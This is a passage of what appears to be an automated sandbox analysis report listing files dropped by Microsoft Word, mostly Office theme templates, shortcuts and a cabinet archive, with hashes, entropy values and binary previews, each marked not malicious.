/....?.aY.c.........LG....k...?_.....P.....?.1.....FB..m..t...['......:...?...W..../~..z.Tr...X.@...._....3..N..p.....b...t.....^..t...~..t.8A...t_....D..3R.Z.=..{.A.8).3-5..v.isz....0A~%.s.D.4....k.K......8......)R.}f.E..n.g&:W...'E....4%T..>......b.y..[..zI....e...j.s....F.....\|7826U.C.,..BY.U.F.f......"..#.m..,..._...#.\.....gPP.2.}Kas......g..3.d0.Z.Z.]..n......MY]6.....].m..D.6...?.n.20.,.#...S...JK..#.W.%.Z4.....i..CBf...../..z......n.N...U.....8t...ny...=.!..#..SF..e...1.P..@.Qx*.f.;..t..S.>..... F..)...@.Y..5j....x....vI.mM....Z.W..77...

C:\Users\user\AppData\Local\Temp\cabFDF9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 3400898 bytes, 2 files, at 0x4c "Insight design set.dotx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 106 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	3417042
Entropy (8bit):	7.997652455069165
Encrypted:	true
SSDEEP:	98304:1YYkj2mRz6vkkB15AW4QD0ms+FdniD60bDUpS:qYkj7d6vP7NZDLn+PM8
MD5:	749C3615E54C8E6875518CFD84E5A1B2
SHA1:	64D51EB1156E850ECA706B00961C8B101F5AC2FC
SHA-256:	F2D2DF37366F8E49106980377D2448080879027C380D90D5A25DA3BDAD771F8C
SHA-512:	A5F591BA5C31513BD52BBFC5C6CAA79C036C7B50A55C4FDF96C84D311CCDCF1341F1665F1DA436D3744094280F98660481DCA4AA30BCEB3A7FCCB2A62412DC99
Malicious:	false
Preview:	MSCF......3.....L.............................3..?..............j.....3.....t.4.............Insight design set.dotx.................Content.inf...QJ.N..[.........R.....L....N).J\|E.B.$.B).3,...n.....JW....k.U1..M...3#.5....$^.....;vR...Z.nj...#......^......a.{..(..o.v...!L`...T.-&jZ`.\.0.....G.."b.m..F.X......$>%..?.D..H.l.j....$.......MrQ......q-....hx...6.D.3...j....n..U#R..3....sm?..xJr..............$G8..t.g...?.g.}......$P._...7.#..w..9DR....lu....?..'.Ai..v.vl..`......B..N_....W./.;...c=oYW.lL'bv.......+...9.P..B=...Y.SX=EL.5o....?H.e\|.Fn.M[...d.v.....i......9..U..H....uq.Nrn..@..e...3....8.....s8}z..$........B....26...d..?.l....=.aeM.[..\|n....H.;..7A.`....=.F...V.Y.l..8.........%e.x0S.....~..2..%.....U..#.r_.0V.v.6w.l.......Y.........v..o+....sn.$^'.Il...akUU....w....~.....&8.Vwj.....Q.uQ..&..G.($.2.s.?m.B.~j...+G.W..qi..g..5.)){O........o.ow.(;.{...y;n...J...&.F2.@.;......[{'w..........`....czW.........?W...}..w....x..........

C:\Users\user\AppData\Local\Temp\mso9E1A.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	GIF image data, version 89a, 15 x 15
Category:	dropped
Size (bytes):	663
Entropy (8bit):	5.949125862393289
Encrypted:	false
SSDEEP:	12:PlrojAxh4bxdtT/CS3wkxWHMGBJg8E8gKVYQezuYEecp:trPsTTaWKbBCgVqSF
MD5:	ED3C1C40B68BA4F40DB15529D5443DEC
SHA1:	831AF99BB64A04617E0A42EA898756F9E0E0BCCA
SHA-256:	039FE79B74E6D3D561E32D4AF570E6CA70DB6BB3718395BE2BF278B9E601279A
SHA-512:	C7B765B9AFBB9810B6674DBC5C5064ED96A2682E78D5DFFAB384D81EDBC77D01E0004F230D4207F2B7D89CEE9008D79D5FBADC5CB486DA4BC43293B7AA878041
Malicious:	false
Preview:	GIF89a....w..!..MSOFFICE9.0.....sRGB......!..MSOFFICE9.0.....msOPMSOFFICE9.0Dn&P3.!..MSOFFICE9.0.....cmPPJCmp0712.........!.......,....................'..;..b...RQ.xx..................,+................................yy..;..b.........................qp.bb..........uv.ZZ.LL.......xw.jj.NN.A@....zz.mm.^_.........yw........yx.xw.RR.,.++............................................................................................................................................................................................................8....>.......................4567...=..../0123.....<9:.()+,-.B.@...."#$%&'....... !............C.?....A;<...HT(..;

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO3072.acl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	30
Entropy (8bit):	1.172253928364927
Encrypted:	false
SSDEEP:	3:fznlj:
MD5:	79BFC7F8174209338312AB00829A2119
SHA1:	49E9870132AA75548BE7C94D263BA7C89C8C658F
SHA-256:	69DE0FA5615051F85E40AEDD3F12419976F32203B7B06AA20AC725AC8B68E279
SHA-512:	AEA58E485F6F2A5AD1C69B64D40A07DAB16381056F31443684762295A1D4C1275AAF5F1D885B56301FC13444090C2161E01BC12C3AE392E3AEFDE30C6A926C5B
Malicious:	false
Preview:	..............................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\2023.LNK

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Oct 4 11:02:29 2023, mtime=Mon Dec 2 02:57:49 2024, atime=Mon Dec 2 02:57:44 2024, length=26753, window=hide
Category:	dropped
Size (bytes):	700
Entropy (8bit):	4.590651798387501
Encrypted:	false
SSDEEP:	12:8VvA6UAB+ljlQlJOcQzjEjA4juAKavm5ljlQlJOcQMpMVIBmV:8Zaj66cQXQA4juAaj66cQMpzBm
MD5:	04F75C8707E9034DB833697ADB955953
SHA1:	73D28ADD3F9E898063F331A8FF72506AB329534F
SHA-256:	31DADF78DE2B26BC494AD9F3902E36EB3AA1CE50DA0BCF894353A675A91D61FC
SHA-512:	2FEC27777AB519BDA5AAFCBEEC8359E11C0889BA4B1FDAD1A128E31D84BC3D6406D92A9D7EC1FBB3D40D35C2C81CE104B15DD531975A3662C67E09C5CB5FD190
Malicious:	false
Preview:	L..................F.... ...LzV.......ZnD...4.WnD...h..........................2..h...Y7. .2023#U~1.DOC.........DWO`.Y7............................d..2.0.2.3.#.U.5.e.7.4.#.U.4.e.2.a.#.U.4.e.b.a.#.U.5.2.b.3.#.U.5.2.a.8.#.U.8.8.6.5.#.U.8.d.3.4...d.o.c.x.......y...............-.......x............F.......C:\Users\user\Desktop\2023#U5e74#U4e2a#U4eba#U52b3#U52a8#U8865#U8d34.docx..J.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.2.0.2.3.#.U.5.e.7.4.#.U.4.e.2.a.#.U.4.e.b.a.#.U.5.2.b.3.#.U.5.2.a.8.#.U.8.8.6.5.#.U.8.d.3.4...d.o.c.x.`.......X.......571345...........hT..CrF.f4... ...T..b...,.......hT..CrF.f4... ...T..b...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Templates.LNK

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Directory, ctime=Mon Dec 2 02:57:46 2024, mtime=Mon Dec 2 02:58:52 2024, atime=Mon Dec 2 02:58:52 2024, length=0, window=hide
Category:	dropped
Size (bytes):	1164
Entropy (8bit):	4.6455354202447365
Encrypted:	false
SSDEEP:	24:8OsJG5FDQw6Yd7n7823QAAmuTqTUpnqyFm:8C5FBd7nBduTgU8yF
MD5:	139A2C17302CCE5FA99DB34EBAE4B705
SHA1:	1E741CAEE9C9BF45D66D3AE1D89A9CD0C31BF654
SHA-256:	4205805DB7FC666D7411BCE403F1244729319BFA436AE32E6ADA746CDA3B5F55
SHA-512:	719CD31371B1D6DCD8C7BB337FFDB940B5323AA0A69BBECBD7BD9F8D6844E3DF73BDCD2CBAD32E587F21154D081C13FEDD0C5DCF83ED147761D7F3DC532F2077
Malicious:	false
Preview:	L..................F........r..XnD....`.nD....`.nD..........................[....P.O. .:i.....+00.../C:\...................x.1.....CW;^..Users.d......OwH.Y0.....................:.....K...U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....P.1......Y4...user.<......CW.^.Y6..............................j.o.n.e.s.....V.1.....CW.^..AppData.@......CW.^.Y0............................%..A.p.p.D.a.t.a.....V.1......Y4...Roaming.@......CW.^.Y4...............................R.o.a.m.i.n.g.....\.1......Y:...MICROS~1..D......CW.^.Y:...............................M.i.c.r.o.s.o.f.t.....\.1......YB...TEMPLA~1..D......Y8..YB..............................T.e.m.p.l.a.t.e.s.......a...............-.......`............F.......C:\Users\user\AppData\Roaming\Microsoft\Templates........\.....\.T.e.m.p.l.a.t.e.s...........................>.e.L.:..er.=....`.......X.......571345...........hT..CrF.f4... .p#..a....,.......hT..CrF.f4... .p#..a....,..................1SPS.XF.L8C....&.m.q............/...S

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Generic INItialization configuration [folders]
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.4716716966342736
Encrypted:	false
SSDEEP:	3:HkGCm4kCpnbJlv:HXHQv
MD5:	9A789E4033E66184B4635C6D51F8AE16
SHA1:	4E423A363DBF57EDD1526915A2B167E50F58C62D
SHA-256:	0F45EDC95115E3C45D7820028BACDFE0C75D6F3C16A91FDA750884057B528F0C
SHA-512:	7E5A3CD21A4822A0101EA6A974219C6CC0540C9F576727D0945E5DA442054FEAB6D8B4AA24D40462E172A7FFA74239D7DF14D990BCF0DDC5C46C8F9F763CCD89
Malicious:	false
Preview:	[misc]..2023.LNK=0..[folders]..2023.LNK=0..Templates.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03090430[[fn=Banded]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	562113
Entropy (8bit):	7.67409707491542
Encrypted:	false
SSDEEP:	12288:/dy5Gtyp/FZ9QqjdxDfSp424XeavSktiAVE0:/dizp1ndpqpMZnV
MD5:	4A1657A3872F9A77EC257F41B8F56B3D
SHA1:	4DDEA85C649A2C1408B5B08A15DEF49BAA608A0B
SHA-256:	C17103ADE455094E17AC182AD4B4B6A8C942FD3ACB381F9A5E34E3F8B416AE60
SHA-512:	7A2932639E06D79A5CE1D3C71091890D9E329CA60251E16AE4095E4A06C6428B4F86B7FFFA097BF3EEFA064370A4D51CA3DF8C89EAFA3B1F45384759DEC72922
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03090434[[fn=Wood Type]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1649585
Entropy (8bit):	7.875240099125746
Encrypted:	false
SSDEEP:	24576:L368X6z95zf5BbQ6U79dYy2HiTIxRboyM/LZTl5KnCc:r68kb7UTYxGIxmnp65
MD5:	35200E94CEB3BB7A8B34B4E93E039023
SHA1:	5BB55EDAA4CDF9D805E36C36FB092E451BDDB74D
SHA-256:	6CE04E8827ABAEA9B292048C5F84D824DE3CEFDB493101C2DB207BD4475AF1FD
SHA-512:	ED80CEE7C22D10664076BA7558A79485AA39BE80582CEC9A222621764DAE5EFA70F648F8E8C5C83B6FE31C2A9A933C814929782A964A47157505F4AE79A3E2F9
Malicious:	false
Preview:	PK..........1A..u._....P......[Content_Types].xml..Ms.@.....!...=.7....;a.h.&Y..l..H~..`;...d..g/..e..,M..C...5...#g/."L..;...#. ]..f...w../._.2Y8..X.[..7._.[...K3..#.4......D.]l.?...~.&J&....p..wr-v.r.?...i.d.:o....Z.a\|._....\|.d...A....A".0.J......nz....#.s.m.......(.]........~..XC..J......+.\|...(b}...K!._.D....uN....u..U..b=.^..[...f...f.,...eo..z.8.mz....."..D..SU.}ENp.k.e}.O.N....:^....5.d.9Y.N..5.d.q.^s..}R...._E..D...o..o...o...f.6;s.Z]...Uk6d.j..MW....5[C].f#...l;u.M..Z.../iM\|...b...S.....0.zN.... ...>..>..>..>..>..>..>........e...,..7...F(L.....>.ku...i...i...i...i...i...i...i........yi.....G...1.....j...r.Z]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o\|^Z....Q}.;.o...9.Z..\.V...............................jZ......k.pT...0.zN.... ...>..>..>..>..>..>..>........e...,..7...f(L.....>.ku...i...i...i...i...i...i...i........yi.......n.....{.._f...0...PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457444[[fn=Basis]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	558035
Entropy (8bit):	7.696653383430889
Encrypted:	false
SSDEEP:	12288:DQ/oYjRRRRRRRRYcdY/5ASWYqBMp8xsGGEOzI7vQQwOyP:DQ/nRRRRRRRRxY/5JWYZ3GGbI8YA
MD5:	3B5E44DDC6AE612E0346C58C2A5390E3
SHA1:	23BCF3FCB61F80C91D2CFFD8221394B1CB359C87
SHA-256:	9ED9AD4EB45E664800A4876101CBEE65C232EF478B6DE502A330D7C89C9AE8E2
SHA-512:	2E63419F272C6E411CA81945E85E08A6E3230A2F601C4D28D6312DB5C31321F94FAFA768B16BC377AE37B154C6869CA387005693A79C5AB1AC45ED73BCCC6479
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457464[[fn=Dividend]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	570901
Entropy (8bit):	7.674434888248144
Encrypted:	false
SSDEEP:	6144:D2tTXiO/3GH5SkPQVAqWnGrkFxvay910UUTWZJarUv9TA0g8:kX32H+VWgkFxSgGTmarUv9T
MD5:	D676DE8877ACEB43EF0ED570A2B30F0E
SHA1:	6C8922697105CEC7894966C9C5553BEB64744717
SHA-256:	DF012D101DE808F6CD872DFBB619B16732C23CF4ABC64149B6C3CE49E9EFDA01
SHA-512:	F40BADA680EA5CA508947290BA73901D78DE79EAA10D01EAEF975B80612D60E75662BDA542E7F71C2BBA5CA9BA46ECAFE208FD6E40C1F929BB5E407B10E89FBD
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457475[[fn=Frame]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	523048
Entropy (8bit):	7.715248170753013
Encrypted:	false
SSDEEP:	6144:WfmDdN6Zfv8q5rnM6vZ02PtMZRkfW5ipbnMHxVcsOWrCMxy0sD/mcKb4rYEY:xDdQXBrMi2YtggW5ObnMH1brJpUmBU0N
MD5:	C276F590BB846309A5E30ADC35C502AD
SHA1:	CA6D9D6902475F0BE500B12B7204DD1864E7DD02
SHA-256:	782996D93DEBD2AF9B91E7F529767A8CE84ACCC36CD62F24EBB5117228B98F58
SHA-512:	B85165C769DFE037502E125A04CFACDA7F7CC36184B8D0A54C1F9773666FFCC43A1B13373093F97B380871571788D532DEEA352E8D418E12FD7AAD6ADB75A150
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457485[[fn=Mesh]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3078052
Entropy (8bit):	7.954129852655753
Encrypted:	false
SSDEEP:	49152:bSEjlpY8skyFHuj2yY0ciM9U2NCVBB4YFzYFw7IaJE2VRK+Xn9DOOe9pp9N9Hu:bfp5sksA3cimUVxV05aJE2fKaDOXdN9O
MD5:	CDF98D6B111CF35576343B962EA5EEC6
SHA1:	D481A70EC9835B82BD6E54316BF27FAD05F13A1C
SHA-256:	E3F108DDB3B8581A7A2290DD1E220957E357A802ECA5B3087C95ED13AD93A734
SHA-512:	95C352869D08C0FE903B15311622003CB4635DE8F3A624C402C869F1715316BE2D8D9C0AB58548A84BBB32757E5A1F244B1014120543581FDEA7D7D9D502EF9C
Malicious:	false
Preview:	PK..........1AS'......ip......[Content_Types].xml..n.@.._......8ie'......}.......(y...H}......3Fi..%2.v?..3..._...d=..E.g.....7.i.-.t5.6......}}.m9r.......m...ML.g.M.eV$.r...M..l0...A...M..j;.w={o.f..F....i..v......5..d;..D.ySa...M&..qdw>.O.{h...\|w..5.]..'.CS<.:8C}.g.\|E.../..>..].Tnml..I.......r.Gv.E....7.;.E......4/l.....6.K.C?1qz.O.v_..r......\c.c.>..lS........X.N.3N.sN..N.)'.%'..'..N.pL.E...T.!..CR....Ie..k.o..M..w.B.0}..3....v..+....,.q..pz.......v{.;....s3.\|..V..ZZ......0.[.....x.....!.!~.8.e..n..&.}p....s.i.. ..[]...q.r....~..+.A\...q............e.-)h9..."Z.>...5-C..`..g.}........r.A.+..\...r.>.... .W.\...re?..%.-/hiA..ZR.r.W.D.\}.EK..kZ.>......5..9.&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^h....L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i..`..G..j..).&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^j..K.L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457491[[fn=Metropolitan]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	777647
Entropy (8bit):	7.689662652914981
Encrypted:	false
SSDEEP:	6144:B04bNOJMngI856k0wwOGXMaXTLaTDmfBaN2Tx9iSUk1PdSnc0lnDlcGMcEFYYYYt:xbY6ngI46Aw5dmyYYYYYYYYY7p8d
MD5:	B30D2EF0FC261AECE90B62E9C5597379
SHA1:	4893C5B9BE04ECBB19EE45FFCE33CA56C7894FE3
SHA-256:	BB170D6DE4EE8466F56C93DC26E47EE8A229B9C4842EA8DD0D9CCC71BC8E2976
SHA-512:	2E728408C20C3C23C84A1C22DB28F0943AAA960B4436F8C77570448D5BEA9B8D53D95F7562883FA4F9B282DFE2FD07251EEEFDE5481E49F99B8FEDB66AAAAB68
Malicious:	false
Preview:	PK.........V'B.._<....-.......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.~n..Ofu.-..K.e....{..A.~.8.#D..)o.7..........:2........=......f...u....[..}...u.6b...xz.[...G..\|#...$....)J./.......7.............oQ..]^.M........wy}7a.....&l................w.......l._...l..?.A..........r..9.\|.8.........{w...........n...]^.M........wy}7a.....&l.................`..z..`.....2.o...wx}.....>..c.M..Arr#.....nD..[.....w......n...]^.M........wy}7a.....&l........w........... ..Fp....w_Q....g..tL.i.?H.o...]^..........n...]^.M........wy}7a.....&l.................`..z..`

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457496[[fn=Parallax]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	924687
Entropy (8bit):	7.824849396154325
Encrypted:	false
SSDEEP:	12288:lsadD3eLxI8XSh4yDwFw8oWR+6dmw2ZpQDKpazILv7Jzny/ApcWqyOpEZULn:qLxI8XSh4yUF/oWR+mLKpYIr7l3ZQ7n
MD5:	97EEC245165F2296139EF8D4D43BBB66
SHA1:	0D91B68CCB6063EB342CFCED4F21A1CE4115C209
SHA-256:	3C5CF7BDB27592791ADF4E7C5A09DDE4658E10ED8F47845064DB1153BE69487C
SHA-512:	8594C49CAB6FF8385B1D6E174431DAFB0E947A8D7D3F200E622AE8260C793906E17AA3E6550D4775573858EA1243CCBF7132973CD1CF7A72C3587B9691535FF8
Malicious:	false
Preview:	PK..........1AS'......ip......[Content_Types].xml..n.@.._......8ie'......}.......(y...H}......3Fi..%2.v?..3..._...d=..E.g.....7.i.-.t5.6......}}.m9r.......m...ML.g.M.eV$.r...M..l0...A...M..j;.w={o.f..F....i..v......5..d;..D.ySa...M&..qdw>.O.{h...\|w..5.]..'.CS<.:8C}.g.\|E.../..>..].Tnml..I.......r.Gv.E....7.;.E......4/l.....6.K.C?1qz.O.v_..r......\c.c.>..lS........X.N.3N.sN..N.)'.%'..'..N.pL.E...T.!..CR....Ie..k.o..M..w.B.0}..3....v..+....,.q..pz.......v{.;....s3.\|..V..ZZ......0.[.....x.....!.!~.8.e..n..&.}p....s.i.. ..[]...q.r....~..+.A\...q............e.-)h9..."Z.>...5-C..`..g.}........r.A.+..\...r.>.... .W.\...re?..%.-/hiA..ZR.r.W.D.\}.EK..kZ.>......5..9.&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^h....L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i..`..G..j..).&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^j..K.L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457503[[fn=Quotable]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	966946
Entropy (8bit):	7.8785200658952
Encrypted:	false
SSDEEP:	24576:qBcvGBGhXQir6H1ws6+iU0YuA35VuinHX2NPs:ccvGBGdQ5CsMxQVj3yPs
MD5:	F03AB824395A8F1F1C4F92763E5C5CAD
SHA1:	A6E021918C3CEFFB6490222D37ECEED1FC435D52
SHA-256:	D96F7A63A912CA058FB140138C41DCB3AF16638BA40820016AF78DF5D07FAEDD
SHA-512:	0241146B63C938F11045FB9DF5360F63EF05B9B3DD1272A3E3E329A1BFEC5A4A645D5472461DE9C06CFE4ADB991FE96C58F0357249806C341999C033CD88A7AF
Malicious:	false
Preview:	PK..........1A.......F`......[Content_Types].xml..n.@.._.y.ac $..,........-..g@.u.G.+t.:........D1...itgt>...k..lz;].8Kg^....N.l..........0.~}....ykk.A`..N..\...2+.e.c..r..P+....I.e.......\|.^/.vc{......s..z....f^...8...'.zcN&.<....}.K.'h..X..y.c.qnn.s%...V('~v.W.......I%nX`.....G.........r.Gz.E..M.."..M....6n.a..V.K6.G?Qqz..............\e.K.>..lkM...`...k.5...sb.rbM8..8..9..pb..R..{>$..C.>......X..iw.'..a.09CPk.n...v....5n..Uk\...SC...j.Y.....Vq..vk>mi......z..t....v.]...n...e(.....s.i......]...q.r....~.WV/.j.Y......K..-.. Z..@.\.P..W...A..X8.`$C.F(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-..........c..0F...@Z.....v.+.A\...q.......ZAV'p)...R.D....K..-...h....eP..........(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-.............0A...@Z.....v.+.A\...q.......ZAV'p)...R.D....K..-...h....eP.........w(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-..........T..GI..~.....~....PK..........1A.s@.....O......._rels/.rels...J.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457510[[fn=Savon]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1204049
Entropy (8bit):	7.92476783994848
Encrypted:	false
SSDEEP:	24576:+3zSQBxvOUIpHLYTCEmS1Wu09jRalJP3sdgnmAOFt0zU4L0MRx5QNn5:+bvI5UTCPu09qP3JPOFoR4N5
MD5:	FD5BBC58056522847B3B75750603DF0C
SHA1:	97313E85C0937739AF7C7FC084A10BF202AC9942
